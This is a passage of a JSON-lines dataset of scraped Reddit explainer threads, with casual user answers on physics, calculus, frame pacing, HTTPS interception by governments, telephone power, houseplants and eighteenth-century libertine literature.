is really not very conclusive for any number of reasons: (a) it doesn't consider that running techniques have improved over time; (b) it doesn't consider that sports medicine (and performance-enhancing drugs and things) have improved over time; (c) the sample size is very low; (d) historically Olympics have always been held on ocean-side cities; (e) Mexico City screws things up disproportionately.\n\nIt's the best I could do in 5 minutes of time, though. Maybe looking at world championships would be better than looking at Olympics? That would help with at least 1 (and maybe 3) of the problems.", "I'm not sure how I would go about figuring out the optimal gravity, but let's think about it.\n\nSprinting is essentially a series of jumps. Lower gravity means those jumps will get longer and higher, and therefore a runner will have to do fewer of them. I can imagine this making the runner faster, not because they are going any faster (I doubt their speed would change at all, depending on how bad wind resistance is, in which case it would become slower), but because they are using less energy and so could run further without tiring as much. So the two questions that are pertinent:\n\nIs wind resistance on a human runner enough to slow them down significantly more between steps?\n\nIs the 100m long enough for a runner to get tired enough that a bit less work would increase their average speed?\n\nTaking these factors in, I think that Earth gravity is probably damn close to optimal. In something as short as 100m I doubt the runner gets tired enough to gain much from doing less work, especially while decreasing his ability to fight wind resistance. \n\nIt's not gravity that limits the top speed of humans, it's the body's locomotive design and muscle contraction speed.", "Non-intuitive though it may be, I think that we would actually benefit from *increased* gravity, at least for short distances.\n\nAt constant mass, you have the same amount of inertia to overcome no matter how much gravity there is. Note that this is where one of the most common misconceptions in Newtonian physics lies: we tend to associate *inertia* with *weight*, since the two are always proportional in our constant-gravity environment.\n\nThe other component of your acceleration is, of course, how much horizontal force you can generate. This would be helped by increased gravity, since you accelerate more or less by falling forward continuously.\nIf you've ever tried to run in a swimming pool.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://imgur.com/49PDh"], [], []]}
{"q_id": "4dc78f", "title": "what is frame pacing in video games, and how does it change the gameplay?", "selftext": "I've been reading about how games like Destiny at launch, and Bloodborne have had \"frame pacing\" problems, but I can't seem to get a solid answer of what it is. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4dc78f/eli5_what_is_frame_pacing_in_video_games_and_how/", "answers": {"a_id": ["d1pmaav", "d1prxcs", "d1q2mk2"], "score": [165, 9, 13], "text": ["Johnny and Amanda take 60 steps over a minute to cross the length of a hallway.\n\nJohnny takes one step per second. Every step would not look much different from one another so his motion is very smooth.\n\nAmanda hops every other step. All the even steps take 1.5 seconds while all the odd steps take 0.5 seconds.\n\nBoth Johnny and Amanda are making the same number of steps per minute (frames per second), but the timing per step (frame pacing) differs. Johnny's steps would look very smooth but Amanda's are much more erratic, making the action feel less smooth and jittery.\n\n", "I wrote a render engine as part of a group that wrote a 2.5D side scroller so I might be able to explain this.\n\nELI5: Frame rate is the amount of frames (images) the games engine can generate per second.\n\n\nTo make this simple, we will say our computer has only one \"core\". But how can I do multiple things on the computer at the same time? The computer switches based on priority and load really fast between all the processes currently \"running\", they are all fighting for CPU time. This is called context switching, if you are the current context you are actually running.\n\n\nThis context switching causes varying execution times. Generally game engines (larger ones don't) do all their logic in a sequential order every time they want to draw a frame (large engines usually offload physics and rendering). Engines that have frame pacing are actually drawing frames (1,2,sometimes 3) ahead of what you are actually seeing. Having a frame pacing problem could mean you are not able to draw frames ahead to maintain a specific frame rate so you skip showing some (dropping) or your algorithm sucks and you show frames in the incorrect order. Incorrect ordering of frames may look like lag or jitter when the engine was actually able to due all the processing. Dropping frames is when the engine is taking too much time to do all the math and processing for a frame so it just skips to the next one to keep up. This is the simplest way I could explain this.\n\n\nTL;DR: It is due to computers having varying execution times for the same amount of code, we show 1,2, or 3 frames back in case we need to drop frames to maintain that sacred 60 fps for consoles. This causes jitter and dropped input plus a whole host of other behind the scenes issues, frame pacing is not recommended.", "This is the frames displayed in 1/6th of a second in a 30 frames per second title with proper frame pacing: \n1 - 1 - 2 - 2 - 3 - 3 - 4 - 4 - 5 - 5\n\nEach frame (1-5) is repeated once and gives you a smooth look.\n\nIn a game with frame pacing issues, across the same period you get this:\n1 - 1 - 1 - 2 - 3 - 4 - 5 - 5 - 5\n\nFrame 2 takes too long to render, so frame 1 repeats a third time. Frame 3 and 4 are fast renders, and are gone in a blink. Frame 5 sees another three-beat repeat.\n\nThe result is the game - though it's still running at 30 frames per second - looks like it's not and it feels choppy. If you're playing a game that demands precision in countering attacks or firing your own, having those repeated frames destroys the feeling of control."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3h6ze4", "title": "how does government agencies eavesdrop on internet traffic when there are so many safeguards against man-in-the-middle attacks?", "selftext": "Today it was revealed that AT & T continues to actively cooperate with government intelligence agencies in spying on internet traffic at their hubs.  These agencies can subpoena user data from companies like Google, Apple, Facebook, etc.  But a network provider like AT & T, at a hub, should have to use man-in-the-middle techniques to access data.  How do they do that today when so many websites and services use https, HSTS, SSL, TLS, etc?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3h6ze4/eli5_how_does_government_agencies_eavesdrop_on/", "answers": {"a_id": ["cu4vqhy", "cu4zl7s", "cu5099r"], "score": [6, 2, 2], "text": ["because the gov controls the keys to your safeguards.   they're have control to the companies that issue your SSL certificates.  \n\ndo you trust the certificate issued by verisign, inc?   you would.   do you think that verisign would give their key to the government if a subpeona or a national security letter was issued?  you bet yer ass they will.", "You mention HSTS, SSL, TLS, etc - All these can be subverted if you have the correct manner of decoding SSL. Just because nobody knows of any weaknesses in the current versions of SSL/TLS, doesn't mean the government don't have the ability to decrypt them.. ;-)", " > Today it was revealed that AT & T continues to actively cooperate with government intelligence agencies in spying on internet traffic at their hubs. \n\nIf you are referring to the front page story from the NYT, that is about 2003 to 2013, not present day.\n\nThe tools you mention only work if you use them.  They are not used universally even today, and certainly weren't in 2003.\n\nEven now email is almost never encrypted end to end.  It might be point to point (if even that).  So if att is one of those points..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5bl0ru", "title": "why can't we learn to use our photographic memory?", "selftext": "I understand we all have a photographic memory, since all faces on our dreams come from faces we have seen on our daily lives. So, How is not possible to learn how to use it?, and Why only a few people actually can use it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5bl0ru/eli5why_cant_we_learn_to_use_our_photographic/", "answers": {"a_id": ["d9pcekl", "d9pclck", "d9pdy55", "d9pidw6"], "score": [6, 9, 2, 5], "text": ["We don't all have photographic memory. Where did you hear that?", "Your base itself is untrue. The faces of people in our remembered dreams are faces from our lives, but *only* the ones we remember. Not all of them are from real people, your brain just kinda makes up features if needed. I can recall a lot of people in my dreams that were faceless, because they didn't need a face.\n\nAlso, it's impossible to have a photographic memory. Our brain can bearly hold all the detail at once in one second through daily life, much less remember all of it and store it for later.", "Are you referring to eidetic memory?\n\nWikipedia:\n > Eidetic memory (/a\u026a\u02c8d\u025bt\u026ak/; sometimes called photographic memory[1]) is an ability to vividly recall images from memory after only a few instances of exposure, with high precision for a brief time after exposure,[2] without using a mnemonic device.[3] Although the terms eidetic memory and photographic memory may be used interchangeably,[2] they are also distinguished, with eidetic memory referring to the ability to view memories like photographs for a few minutes,[4] and photographic memory referring to the ability to recall page or text numbers, or similar, in great detail.[5][6] In the case of distinguishing the concepts, eidetic memory has been documented while photographic memory is a popular culture myth that has never been demonstrated to exist.\n\nWhich the article indicates is more prevalent in children than adults. \n\nDreams likely have nothing to do with photographic memories. Recognizing an old friend from your childhood at a gathering 20 years later might be.", "There is no such thing as photographic memory as it is portrayed in popular culture. There's eidetic memory, and many doubt even *that* is a real thing. \n\nThat said, *you absolutely can train your memory*. There are many techniques to do so. Mnemonics are one - this is when you, for example, remember the order of the planets using the sentence \"My Very Excited Mother Just Served Us Nine Pies\". Associating new memories with a pre-existing memory is another. Like if you meet someone named \"John\" you can go \"John, he always carries a water bottle with him like Fred does\".  \n\nHeck, *repetition* will dramatically improve your ability to remember something, especially if you use different terms and methods (for example, writing information down in your own words). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3z9dbn", "title": "do your grades in highschool really affect you in the real world?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3z9dbn/eli5_do_your_grades_in_highschool_really_affect/", "answers": {"a_id": ["cyk9ae9", "cyk9asu", "cyk9bkv", "cyk9j8k", "cykc66p"], "score": [9, 12, 3, 7, 3], "text": ["Getting into fancy colleges, yes. Other than that, no. But really, with a HS diploma or a GED you can go to plenty of colleges and technical schools. ", "They affect your ability to get into good colleges. Going to a good college can really help your future and make your life easier. More to the point, the skills you learn while earning good grades help make you better qualified for many jobs. ", "Yes. Getting good grades helps you get into a college of your choice and therefore, you can then get a good job and good life", "I think it depends why you don't get good grades. If you don't take your exams seriously, or don't work very hard, or try to coast through, or disregard the advice given to you by your teachers or experts then yes I DO think your grades affect you in the real world because it displays a misunderstanding of just how damn hard you need to work to make it in the real world.\n\nIf you work as hard as you possibly can but something goes wrong in the exam and your grade isn't as expected then (Further Education applications aside) I don't think it's the end of the world. If you need the qualification you can study it again later.\n\nThe problem will be how career recruiters perceive a lack of formal qualifications. They wont know if it's because of the first reason or the second. So lacking high grades or qualifications you will have to provide some other proof of your motivation, commitment and knowledge.", "Professor here. It's all a matter of context. High school grades really do not matter in life, generally speaking. If you want to get into a specific college a select few may consider it for freshmen with no other college experience. However, if you're not just starting college and have some 2 year college credit at a good GPA as well as some other source of testing scores and references, you will likely get into the college you want. In fact, if your parents/you have the money, it's possible to do anything. \n\nI've taught at 15 different colleges/universities, plus I've taken classes from about 20 other colleges. I've experienced their hiring processes, student selection processes, academic requirements, etc.\n\nI can tell you with full confidence that high school counselors that get senior students so caught up in grades/GPA are very misleading and the stress is unnecessary. There are students that get jobs after making nothing but C's in their classes. After they are employed, the grades no longer matter. Consider our past presidents, congress officials, etc. Many of them were actually poor students.\n\nJust to add... after you get your undergraduate degree, very few people will check your GPA or high school history. They just want verification of the degree itself. I've dealt with thousands of students and have also been a hiring manager for large Fortune 500 companies. We've hardly ever considered high school history.\n\n**Here's what matters in life: your IQ, EQ, technical skills, unique abilities, experience, etc.**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "28rxyf", "title": "run flat tires", "selftext": "Last week I got a bolt in my tire. I know it happened when I ran over some (unavoidable :/ ) debris on the freeway. Immediately after, my mom borrowed my car, but the tire didn't go flat until AFTER she returned it and I drove it to work. I just want to know how this technology works!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28rxyf/eli5_run_flat_tires/", "answers": {"a_id": ["cidwusj", "cidy46d"], "score": [10, 2], "text": ["Is anyone else wondering why this thread is tagged with a NSFW label?", "This is not about a run-flat tyre.\n\nThe inside of a normal tyre is soft rubber, and when the tyre is punctured, that soft rubber creates a fairly good seal around the object. If you remove the object, the nail or the bolt, then you leave a hole that the air flows out of, deflating the tyre. Many persons drive around for many months with a nail or screw in their tyre, and only find out about it when they replace the tyre because it is worn.\n\nRun-flat tyres are a different beast, one that contains structures within the tyre that support the car even if the tyre is completely deflated."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1rd6yw", "title": "Why does a hollow cylinder roll down a slope faster than a full cylinder?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1rd6yw/why_does_a_hollow_cylinder_roll_down_a_slope/", "answers": {"a_id": ["cdm74bu"], "score": [4], "text": ["Think about a seesaw. A fat kid sitting halfway across and a skinny kid sitting at the very end may very well be balanced--this seems intuitive. The same thing happens with, say, spinning a ball on a string. A larger mass on a shorter string is easier to spin around than a small mass with a long string.\n\nSo, imagine that cylinders rolling down a slope as masses rotating around an axis in the center. Assuming they are the same mass, the hollow cylinder is essentially like the fat kid sitting at the very end--it takes a lot to move him. The solid cylinder is more like a few light kids distributed across the radius."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ungvi", "title": "If the divergence of the magnetic field is zero, does that mean it always exists but its B is 0 sometimes?", "selftext": "In E & M we went over the divergence of a magnetic field being zero while it has a curl. This brings me to my question: if the divergence of the magnetic field is zero, does this mean that there will always exist a magnetic field around a charged particle whose strength is zero when it is stationary? This seems to make sense to me since the field does not diverge from the source but it responds to changes in the particle's velocity.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ungvi/if_the_divergence_of_the_magnetic_field_is_zero/", "answers": {"a_id": ["co9xsd4", "coa48w3"], "score": [5, 11], "text": ["The divergence is basically saying what happens to the field as you follow it. Because there are no magnetic charges, as you follow magnetic field lines they stay constant, so the divergence is zero. The curl tells you what happens as you move perpendicular to the field.\n\nAn electric charge monopole (which I think is what you're talking about) has no magnetic field in its rest frame, although in a frame where it is moving there is a magnetic field. This is a source of fine structure in atomic spectra.\n\nThere are also situations where the magnetic field is zero but the magnetic vector potential is nonzero, like outside a solenoid.", "Divergence means this: If you draw any surface, is there more outward flux of the field than inward through the surface? For any electrically charged object, Gauss's law says that -- regardless of the shape of any surface you would draw around it -- the net flux of that field (out minus in) is proportional to that charge inside it. \n\nThis statement for magnetic fields is this: it doesn't matter *what* is inside the surface, the net flux (out minus in) of magnetic field through the surface is always going to be zero. This doesn't mean that the B field is zero. It just means that as much of the field is inward-pointing as it is outward-pointing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5w0kbb", "title": "Has the white house ever blocked major news organizations from attending a press conference before?", "selftext": "I'm not trying to be political I'm just curious if this kind of thing has ever happened before and under what presidency and circumstances. Thanks", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5w0kbb/has_the_white_house_ever_blocked_major_news/", "answers": {"a_id": ["de6sk6a"], "score": [274], "text": ["Many presidents have had adversarial relationships with the press and have controlled access to some or all reporters at different times throughout the country's history.  \n  \nGiven how your question is phrased, I assume you are specifically referring to the White House press corps, the group of correspondents with offices in the West Wing who regularly attend scheduled press conferences and submit questions to the Press Secretary and to the President. Before that group was formed in the early 1900s the press had a much more unpredictable connection to the president.  \n  \nRegarding the press corps, Woodrow Wilson threatened to cancel press conferences entirely after a reporter published comments he had made off the record.  \n  \nReferring to the press corps, Hoover declared that \"once I am reelected, I am going to clean that bunch out whatever the consequences may be.\" We'll never know how serious of a threat this was, as he was of course not reelected.  \n  \nFor the most specific answer to your question, Nixon banned Stuart Loory of the LA Times when Loory wrote about how much Nixon\u2019s vacation home cost taxpayers.  \n  \nIf you're interested in learning more about presidents' often adversarial relationships with the Press Corps, I highly recommend \"Who Speaks for the President?\" by W. Dale Nelson. That is where the Hoover quote is from. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "abhnoq", "title": "how did people go about installing electricity/wiring in old buildings which were not designed with this intention in mind?", "selftext": "I\u2019m on my first episode of Grand Hotel and this question just popped into my head. \n\nConsidering a lot of older buildings, even say those built in the 1800s, were not constructed to support electrical installations\u2014 how did people *make lightbulbs work*? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/abhnoq/eli5_how_did_people_go_about_installing/", "answers": {"a_id": ["ed0c2e8", "ed0d73s", "ed0fruu", "ed0kv6y"], "score": [4, 16, 3, 12], "text": ["Easiest way is to have a good drywaller come behind you and do patch work\n\n\nCut out strips of drywall to route the wires through walls and ceilings. If you are lucky and there is an unfinished basement and attic, its not to bad to fish walls without damaging drywall to bad, but its still kind of miserable", "First they installed tube and knob lines in the rafters of the attic / roof which depended wholly on the style of the structure.\n\nThen lines were fed down either by running over walls, through hollow plaster and lathe walls  or through the disconnected pipes that previously used to supply town gas. \n\nWhen the wire was in place they soldered in a  a light bulb socket of whatever regional design before the Edison socket became standard was common in that region and the other end were directly soldered into the tube and knob lines.\n\nThey then connect the tube and knob lines into the power lines in town or if in a country house a personal generator.\n  \nA lot of early light fixtures, sconces, were re-purposed gas lights.", "Well we can do anything after the fact.  Electrical isn't required to make a building stand up and it isn't going to make it fall down by adding it.\n\n\n\nHaving said that, working in any house older than 1960 is a pain in the ass and I either quote a price I can't refuse or just flat out turn it down.  Old houses suck.", "Its called Chasing, you cut into the plaster or stone/brick work, deep enough to fit a plastic/metal conduit or just the insulated wire. Then plaster back over it.\n\nThis can be done with a hammer and chisel or specialist tools.\n\nIf its a listed building sometimes we can not cut into the stone work, instead fix the wire/conduit to the wall then plaster over it.\n\nAll old stone buildings have about 2 or 3 inch thick plaster render on most internal walls. Plenty of room to fit a wire in and cover back over."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1ii062", "title": "[meta] /r/answers should be our new best friend.", "selftext": "Now that ELI5 is a default subreddit, there will be many more people than before. \n\nTo preserve the the sprit of this subreddit I think that there needs to be something of a partnership with /r/answers.  It needs to be clear that same practice of asking questions with firm answers should be directed to /r/answers unless there is a reason to ask it here. Adding it to the side bar as well as making it a standard response to new posts that don't really belong.\n\nOf course, there are many good reasons to ask a question here: \n * You have difficulty with understanding other sources. Possibly because of language, possibly because of a lack of background knowledge. It could even be because you are stupid. People shouldn't be punished for being of below average intelligence. \n\n * you would like a discussion in simple terms. Google isn't going to give you the same back and forth. Some posts answer questions the OP didn't know he or she had but are critical to a misconception. \n\n * many others\n\nI would love for both ELI5 and answers to be default subs. \n\n**If you cannot answer a question in simple terms but you can answer the question**\n\nGo ahead and do your best to answer the question, but admit that it needs rewriting.  Someone else can come along and Rewrite LI5. If you decide to Rewrite LI5 try to make the answer as close in structure as possible and always up-vote the person you are rewriting. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ii062/meta_ranswers_should_be_our_new_best_friend/", "answers": {"a_id": ["cb4my65", "cb4sk3w", "cb4voz5"], "score": [10, 2, 3], "text": ["It's already in the sidebar, attitude in the sub needs to change (or the mods need kicking arses and taking names).\n\nAs for the answering of questions simply, there's one helluva lot of whinging and buthurt when anyone explains something vaguely complex in scientific/technical/appropriate terms, queue the inevitable:\n\n >  \"HUR DUR I don't know any 5 year olds that know quantum mechanics\" \n\nNot all questions have a simple answer, and some require a lot of base knowledge before it's really accessible.", "I really disagree with most of this post.\n\nWe may route people to /r/answers when the question is simple and has a clear cut answer, but just because it has an answer doesn't alone mean it doesn't need a layman friendly explanation or the OP wouldn't benefit from that explanation.  We already have /r/answers in the side bar anyways.\n\nAs a general rule I don't see us mods sending a huge amount of the content here to /r/answers just because it's objective, which seems to be what you're recommending.", "What if, hypothetically, one of us got banned from /r/answers? Would this be an acceptable place to put our question?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3wbnp1", "title": "how do underwater fuses work? additionally how does underwater welding work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wbnp1/eli5how_do_underwater_fuses_work_additionally_how/", "answers": {"a_id": ["cxv27zk", "cxxejz4"], "score": [2, 2], "text": ["If you're implying that \"fire and water don't mix\", it's because neither are 'fire' in the traditional sense. A burning fuse is actually a chemical reaction, which pretty much stops at nothing. Bottle rockets, roman candles, and similar fireworks will also work under water due to the same principle. \nIn underwater welding, you are dealing with an electric arc. The electric arc heats the work piece and the welding rod, and the molten metal is transferred through the gas bubble around the arc. ", "I wondered this myself. [This article](_URL_0_) gives a more in-depth explanation of wet and dry underwater welding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://waterwelders.com/underwater-welding-how-it-works/"]]}
{"q_id": "1nwlra", "title": "If the July plot to kill Hitler was successful would the Third Reich have seen a de-Hitlerisation like the USSR saw after Stalin's death?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1nwlra/if_the_july_plot_to_kill_hitler_was_successful/", "answers": {"a_id": ["ccmr4r7", "ccmry1t"], "score": [6, 2], "text": ["While an interesting question, this is probably better aimed at /r/historicalwhatif", "Germany *did* undergo De-Nazification when the Allies took control over Germany. As for whether they would have done so if Hitler had been assassinated, the answer is most likely yes, as there were others who were vehemently National Socialist who would have taken his place. That being said, this probably isn't the place for \"what if?\" questions, so maybe you could try the good people over at /r/historicalwhatif for a more comprehensive answer as /u/TenMinuteHistory has suggested. Cheers!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4g3vwc", "title": "Why is the integral of 1/x = ln(x)+C?", "selftext": "I mean I get that you cannot integrate it normaly as in:\nx-1 -- >  (x0 )/0\nbecause you obviously cannot divide by zero.\nSo why does this just happen to equal ln(x)?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4g3vwc/why_is_the_integral_of_1x_lnxc/", "answers": {"a_id": ["d2eg388", "d2ejns3", "d2ey7ks"], "score": [72, 12, 3], "text": ["First of all, you mean to ask why the *antiderivative* of 1/x is ln(x) + C. An *integral* is a limit of Riemann sums, i.e., a single number, and it has various interpretations: area, volume, probability, etc. The fundamental theorem of calculus simply provides a link between integrals and antiderivatives. But the two objects are not the same thing.\n\nMany introductory textbooks simply define ln(x) to be an antiderivative of 1/x, and that's that. So the answer to your question is \"because it is\". A better way of defining ln(x) from first principles, at least in real analysis, is that g(x) = ln(x) is the inverse function of f(x) = e^(x). The immediate question is then whether these two definitions are equivalent. They are.\n\nConsider the function y = g(x) = ln(x). By definition, e^(y) = x. Now use implicit differentiation (w.r.t. *x*) to find that\n\n >  e^(y) (dy/dx) = 1\n\nSolve for (dy/dx) to get\n\n >  dy/dx = 1/e^(y)\n\nBut note that e^(y) = x, so we get\n\n >  dy/dx = 1/x\n\nVoila. If we define ln(x) to be the inverse of e^(x), we still get that its derivative is 1/x. (By a similar method, you can show that if we define ln(x) to be a function whose derivative is 1/x, then ln(x) is just the inverse function of e^(x).)", "Here's how to fit it into the usual form for other monomials:\n\nThe integral of x^(n-1) is x^(n)/n+C. As you make n approach 0 from above, you'll get sqrt(x), cbrt(x) etc. shaped curves that get inscreasingly stretched vertically, and so the limit isn't well-defined because the functions blow up.\n\nHowever C only has to be constant as a function of *x*, not n. We don't have to pick the same C for each. We *can* make a sensible limit by shifting the function downward to compensate for the upward blow up. Keeping C=constant keeps the y-intercept constant, which is apparently problematic. Picking C=-1/n fixes  f(1)=0, which will be more reasonable. We now have\n\ny=(x^(n)-1)/n\n\nand this *does* have a sensible limit. Solving for x gives\n\nx=(1+ny)^(1/n)\n\nAnd taking the limit n- > 0 now gives x=e^(y), or y=ln(x). The logarithm is essentially an infinitely stretched and infinitely shifted power function.\n\nIf we approached n=0 from *below* we would instead find  1/x-shaped curves blowing up to infinity. Our same prescription for C keeps the curve reasonable but sends the *asymptote* to infinity, so we could also say that ln(x) is an inverse power whose horizontal asymptote (and entire left-half of the curve) is infinitely high.", "Another approach:\n\nConsider the function f(x) = int(t=1 to t=x) dt/t.\n\nNote that f(xy) = int(t=1 to t=xy) dt/t can be rewritten, using the u-substitution u = t/y, as \n\nf(xy) = int(t=1 to t=y) dt/t + int(t=y to t=xy) dt/t\n\n= f(y) + int(u=1 to u=x) ydu/yu \n\n= f(y) + int(u=1 to u=x) du/u\n\n= f(y) + f(x).\n\nSo f(xy) = f(x) + f(y). With continuity one can prove a function satisfying this property has to be a logarithm of indeterminant base. Nailing down the base is a matter of numerical approximation, or differentiating the inverse function to see the inverse is its own derivative, so it has to have the same base as the exponential function that equals its own derivative."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6p7ldy", "title": "how did \"indoor plants\" come about, given they weren't always kept inside millions of years ago?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6p7ldy/eli5_how_did_indoor_plants_come_about_given_they/", "answers": {"a_id": ["dkn6lhi", "dkn7a37", "dknf79m"], "score": [7, 27, 3], "text": ["Think more under thick canopies of the rainforests, where direct sunlight is very difficult to get through, or on a side of a mountain where it is in shade all day.", "There is nothing special about \"indoor\" plants- they are just plants that do well in the light and humidity common in most homes. Over the years selective breeding has produced cultivars that like indoor conditions even better than outdoors, but they started out as native growing plants somewhere.   \n\nA good example is African Violets- they have been bred as ornamental houseplants for so long that people seem to forget that they had to originate somewhere, in this case Africa. I planted some outdoors when I lived in a tropical climate and they did very well except were very vulnerable to pests.   \n\nAt some point someone noticed how lovely they were growing in the jungle and brought some home. Over time they learned how to keep them happy, and over even more generations they spread to people in other homes, other countries, and other continents.     \n\nExplorers often went on expeditions dedicated purely to collecting native plants and bringing them back to be nurtured and fussed over so folks in other countries could see them. That's how cultivation happened- learning by trial and error how to keep plants alive in indoor conditions.  Those that did really well became popular and the houseplant trade was born.", "With a few exceptions, most house plants are hybrids of plants that originally grew in forests of tropical countries. So they survive in humid low light and very little seasonal temperature change.\n\nIn the tropics it's common to see what we as North American or European would call a house plants growing in people's gardens or wild.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5wkuv0", "title": "how do landline phones work when the power is out?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5wkuv0/eli5_how_do_landline_phones_work_when_the_power/", "answers": {"a_id": ["deavbuu", "deavc1q", "deaw03t"], "score": [10, 2, 7], "text": ["A standard landline (POTS) has -48V DC power included with the signal.   The phone company central office also has a bank of batteries to operate when the power is out.\n", "Wired landlines only need enough power to make the ringing sound, maybe lights for the dial/buttons.  The wires are separate from electrical lines, and have a small amount of electricity to do that.", "The Central Office for the phone system supplies power down the lines for the phones. It's DC (direct current, like a battery) and the voltage varies based on what the phone is doing. When the phone is on the hook, the circuit that goes between the Central Office (Henceforth the \"CO\") and your phone is open - no current flows. One wire of the pair going into your phone is always connected to the CO, the other wire is connected when you pick up the phone. (While I'm thinking about it, the wires are called the \"Tip\" and the \"Ring\") \n\nWhen you pick up the phone, and get a dial tone, you're supplied with, I think, 10 volts DC. You keep that 10VDC when you are talking. When you make a call, I think it jumps up to 48VDC, until you answer it.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1vd5n5", "title": "History vs. Imagination in de Sade's 120 Days of Sodom - The Realities of 18th Century Libertinism?", "selftext": "A few months ago I made my way through the entirety of de Sade's 120 Days of Sodom. It was by far the most obscene thing I've ever read. The specificity and number of passions from simple to murderous was stunning, and it became much harder to read as I progressed.\n\nSince reading the book, I've been curious as to the balance of imagination and experience within his writing. How much of the book was based upon de Sade's experience of the debaucheries of Libertinism, and how much was fantasy? Did the libertine culture of the time foster similar acts (at least with regards to the earlier passions), or was the Marquis simply attempting to be as shocking as humanly possible?\n\nI wasn't sure whether this would be better suited for r/literature or r/AskHistorians. If you think I'd do better to try there, please let me know!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vd5n5/history_vs_imagination_in_de_sades_120_days_of/", "answers": {"a_id": ["cer8w10", "cer9t8p", "ceratb6", "cercnqe"], "score": [75, 12, 120, 33], "text": ["This is not really an answer to your question, but something for you to consider in your reading of Sade. \n\nThe 18th century say a great deal of debate over the novel, what form it should take, and who should write them. In many ways too, it was seen as a debate over public morality, as many writers, the most important of who was Samuel Richardson, thought the novel as written by \"those women\" (Aphra Behn, Delriver Manley, etc) was immoral, and sensational. So Richardson set out to reform the novel.\n\n*Pamela or, Virtue Rewarded*, was the sort of novel that set a typology for everything following it\u2014there was a distinct before and after. Pamela was, in some very real ways, Richardson\u2019s \u201cvigorous attempt to reform the romance novel that had been popularized [by women\u2026 The work] attempted to redefine the romance novel to make it at once more realistic and more moral.\u201d (Mudge, *The Whore's Story*, p. 70) And indeed, Pamela is intensely moralistic, its original title page after all, read that it was *\u201cdesigned to inculcate the principles of virtue and religion in the YOUTH of BOTH SEXES\u2026 entirely divested of all those images which\u2026 tend to inflame the minds they should instruct.\u201d* \n\n Despite, or perhaps because of, the fact that Pamela\u2019s plot is more than a little licentious, with its kidnapping and attempted rape of a 15-year-old, Pamela became immensely popular. Not only was it the first major cultural phenomenon\u2014there were Pamela prints and paintings, Pamela playing cards and fans\u2014there were both encouraging and angry reactions. Within a year of its publication, there appeared reactions positive (Pamela Commedia, Pamela\u2019s Conduct in High Life) and negative (Shamela, Pamela Censured, The True Anti-Pamela). \n\nTwo other works can also be characterized as reactions to Pamela, and, as it happens, they are the two most notorious works of pornography to originate out of the eighteenth century: Justine, also known as The Misfortunes of Virtue (1742), and Fanny Hill, or Memoirs of a Woman of Pleasure (1748). It would seem to me that 120 Days Of Sodom would also be an example of a anti-moralistic work, where Sade, a libertinist, was taking things to the extreme. You might be interested in my further discussion of Sade [here, on /r/literature.](_URL_0_) \n\nAs far as how much Sade drew on actual experiences of libertinism, I am not a sade or a French Scholar, but I can say that the members of the British [Hellfire Club](_URL_1_) may have had some experiences along the lines. It is my opinion (speculation) that Sade was realy just trying to be as offensive and shocking as possible.\n\n\np.s. note that both in this comment and in /r/literature I am drawing from my own papers :)", "From biographies about D A F de Sade; their is documentation of certain hedonistic actions of impulses, such as visiting sex workers at brothels that overlook public hangings et al.. But not to the extremity of eating the excrete of those who are about to be executed for the aroma is simply just tantalising..\n\n120 days written in prison confinement with bitter loathing of privileged social class of which he came from ; Bataille sums up the debauchery quite well as '[a] domain [de Sade] described outside of and above all reality\"\n\nBe it his writing as the pinnacle of perversion of morality and is easy to romanticise de Sade in a hagiographic light via his extremity of human fantasy in relation to kink/hedonism. The writing was that, fantasy. It was his pleasure when being confined in a cell, for if fantasy comes a reality all you get is unfulfillment.. the birth of melancholy. de Sade I'm sure realised this. \n\nSorry if crit theory rhetoric is not agreeable for this sub reddit, but you may like to read [Bataille on D A F de Sade](_URL_0_) for more hagiography. ", "Congratulations on 